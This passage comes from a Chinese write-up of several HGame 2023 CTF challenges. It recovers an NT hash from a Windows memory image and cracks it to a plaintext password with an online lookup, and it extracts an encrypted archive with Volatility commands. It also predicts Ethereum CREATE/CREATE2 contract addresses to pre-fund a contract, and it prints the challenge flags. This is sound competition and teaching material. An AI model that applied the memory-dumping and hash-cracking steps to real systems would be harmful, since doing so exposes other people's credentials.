获得nthash
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sar3V3xL-1675438517718)(null)]
所以flag为:

hgame{84b0d9c9f830238933e7131d60ac6436}

[MISC] ezWin - 7zip

由题可知,flag肯定和上题中出现的flag.7z有关系,输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.filescan | grep -E '7z'

查找flag.7z的具体位置:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ip1xEYK-1675438517663)(null)]
发现0xd0064181c9500xd00641b5ba70都可以,笔者选择后者,然后输入指令将文件导出:

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr=0xd00641b5ba70

HGame 2023 Week4 部分Writeup_第12张图片
去除后缀名.vacb即可打开文件
HGame 2023 Week4 部分Writeup_第13张图片
打开后发现需要密码,密码是nthash的原文,使用https://www.cmd5.com/轻松获得(而且还不要钱):

asdqwe123

输入密码,打开文件,得到flag:

hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}

[BLOCKCHAIN] Transfer 2

本题的关键是不要先部署合约,先看代码。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;

contract Transfer2{
    Challenge public chall;
    event SendFlag();
    bytes32 constant salt = keccak256("HGAME 2023");
    constructor() {
        chall = new Challenge{salt: salt}();
        if (chall.flag()){
            emit SendFlag();
        }
    }
    function getCode() pure public returns(bytes memory){
        return type(Challenge).creationCode;
    }
}

contract Challenge{
    bool public flag;
    constructor(){
        if(address(this).balance >= 0.5 ether){
            flag = true;
        }
    }
}

观察代码可知,如果事先没有满足条件(即balance>=0.5 ether),那么是不可能触发sendFlag事件的,因为constructor不可能二次调用,同时,部署账号的私钥未知,不可能使用create2或者create函数重新部署合约(即使已知也做不到,因为Transfer2合约是使用create部署的,该函数以账户交易次数作为nonce)。通过hash碰撞来生成一个可以覆盖合约的地址的想法是愚蠢的,因为SHA3在目前来看,碰撞几率几乎为0。
以上所有想法笔者都花了一天的时间去尝试和验证,因此不必再试了。
这么说,这道题难道就真的无解吗?当然不是,因为只要我们实现知道合约部署在什么地方,往那个Challenge合约先转个1 ether不就行了。
那么如何预测合约部署的地址呢?首先,我们创建一个账户,向账户转账1 ether,但是先不要部署合约。这时候,我们拿到了账户地址,例如:

0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245

接下来,我们确认该账户的交易次数:
HGame 2023 Week4 部分Writeup_第14张图片
可以发现,是0次,接下来,我们确定后端部署合约的方式。
通过搜索引擎可知,题目是基于该项目编写的:https://github.com/chainflag/eth-challenge-base,查阅其中的合约部署相关代码:
HGame 2023 Week4 部分Writeup_第15张图片
可以发现,没有salt的影子,因此底层应该是使用create函数部署的合约。
查阅文档可知,create函数部署的合约,地址生成规则为:

keccak256(rlp([sender, nonce]))

现在,sendernonce都已知,那么接下来要部署的合约地址便也提前知道了。
不过,我们的目的是要知道该合约创建的Challenge合约的地址,因此,再次阅读代码:

//...
    bytes32 constant salt = keccak256("HGAME 2023");
    constructor() {
        chall = new Challenge{salt: salt}();
//...

很明显,此处的合约使用的是create2方式部署的。
create2函数生成的地址规则如下:

keccak256(0xff + sender + salt + keccak256(init_code))

其中,sendersalt已知,init_code可以实现部署一个用于测试的合约,调用合约的getCode函数得到,这样一来Challenge的合约地址也可以预测出来了,以下是实现地址预测的代码:

from rlp import encode

from web3 import Web3

prefix = '0xff'
creator = 'E2EF078018b6DcaC3daBF17D82d2DA5554657fD4'

knownSalt = '3ec137672b90366126b6416bd4fd1eba98d6887a1303a5e0e5e2d475e91efbc5'  # HGAME 2023
knownHash = '935f3dbc7af8507be23c7688266f5d8ac74359011f4c43e806bfd4f077cdcb2f'

deployer = 0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245


if __name__ == '__main__':
    nonce = 0x0
    hashed = Web3.sha3(encode([deployer, nonce]))[12:]
    contractAddress = ''.join(['%02x' % b for b in hashed])
    print('contractAddress', contractAddress)
    predict = prefix + contractAddress + knownSalt + knownHash
    hashed = Web3.sha3(hexstr=predict)[12:]
    hashed_str = ''.join(['%02x' % b for b in hashed])
    print('ChallengeAddress', hashed_str)

运行得到Transfer2合约地址和Challenge合约地址:

contractAddress 021fd257cdce9a7b4a98e21b56eea7ee8cf4425b
ChallengeAddress 8a65af3404b37704dc25883b061e65547d934c81

向地址0x8a65af3404b37704dc25883b061e65547d934c81转账1 eth,然后部署合约:
HGame 2023 Week4 部分Writeup_第16张图片
可见,Transfer2的合约地址与预测一致。
最后,提交返回的transaction hash,获得flag:
HGame 2023 Week4 部分Writeup_第17张图片

得到flag:

hgame{e0638df02eec0ccaa653b66de526c282a335ed3e}

你可能感兴趣的:(系统安全,web安全)